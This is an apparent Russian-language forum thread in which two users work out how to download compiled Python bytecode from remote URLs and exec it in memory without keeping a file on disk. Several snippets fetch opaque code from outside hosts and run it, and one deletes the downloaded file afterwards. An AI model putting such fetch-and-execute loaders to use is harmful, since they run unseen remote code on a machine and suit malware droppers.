py.user.next
чтобы выполнить скрипт, достаточно его импортироватьt1.py
Нужно выполнить без сохранения на компьютере, загрузить и выполнить.
py.user.next
чтобы выполнить скрипт, достаточно его импортироватьt1.py
#!/usr/bin/env python3 import marshal def decode(data): return marshal.loads(data[12:]) def main(): fname = 't1.pyc' with open(fname, 'rb') as fin: exec(decode(fin.read())) if __name__ == '__main__': main()
[guest@localhost t]$ ./t2.py
test
[guest@localhost t]$
import urllib import os import marshal urllib.URLopener().retrieve('http://gismetsan.appspot.com/get/1', 'e.pyc') b = open('e.pyc', 'rb').read() c = marshal.loads(b[8:]) exec c os.remove('e.pyc')
import urllib import os import marshal urllib.URLopener().retrieve('http://185.20.000.000/', 'server.pyc') b = open('server.pyc', 'rb').read() c = marshal.loads(b[8:]) exec c os.remove('server.pyc')
print ' This file is load and EXEC'
#!/usr/bin/env python import os def f(): print 'test', os.getcwd() f()
#!/usr/bin/env python import marshal import urllib import os def decode(data): return marshal.loads(data[8:]) def main(): fname = 't1.pyc' data = urllib.urlopen('http://localhost/%s' % fname) code = decode(data.read()) data.close() exec code if __name__ == '__main__': main()
[guest@localhost t]$ ./t2.py
test /home/guest/tmp/tests/py/t
[guest@localhost t]$
sanodin
#!/usr/bin/env python import marshal import urllib import os def decode(data): return marshal.loads(data[8:]) def main(): fname = 't1.pyc' data = urllib.urlopen('http://localhost/%s' % fname) code = decode(data.read()) data.close() exec code if __name__ == '__main__': main()
import urllib import marshal data = urllib.urlopen('http://gismetsan.appspot.com/get/1') b = data.read() c = marshal.loads(b[8:]) data.close() exec c
[guest@localhost v2]$ ./t2.py
test
Traceback (most recent call last):
File "./t2.py", line 18, in <module>
main()
File "./t2.py", line 15, in main
exec code
File "t1.py", line 8, in <module>
File "t1.py", line 6, in f
NameError: global name 'os' is not defined
[guest@localhost v2]$
sanodinзначит, либо там (в загружаемом скрипте) модули не используются, либо они уже импортированы
а этот запустил
sanodinпопробуй t1.pyc на сервере разместить и запустить своим кодом
но код посложней не захотел у меня запустить
import urllib import marshal data = urllib.urlopen('http://gismetsan.appspot.com/get/3000001') b = data.read() c = marshal.loads(b[8:]) data.close() exec c
#!/usr/bin/env python import marshal import urllib #import os def decode(data): return marshal.loads(data[8:]) def main(): data = urllib.urlopen('http://gismetsan.appspot.com/get/3000001') code = decode(data.read()) data.close() exec code if __name__ == '__main__': main()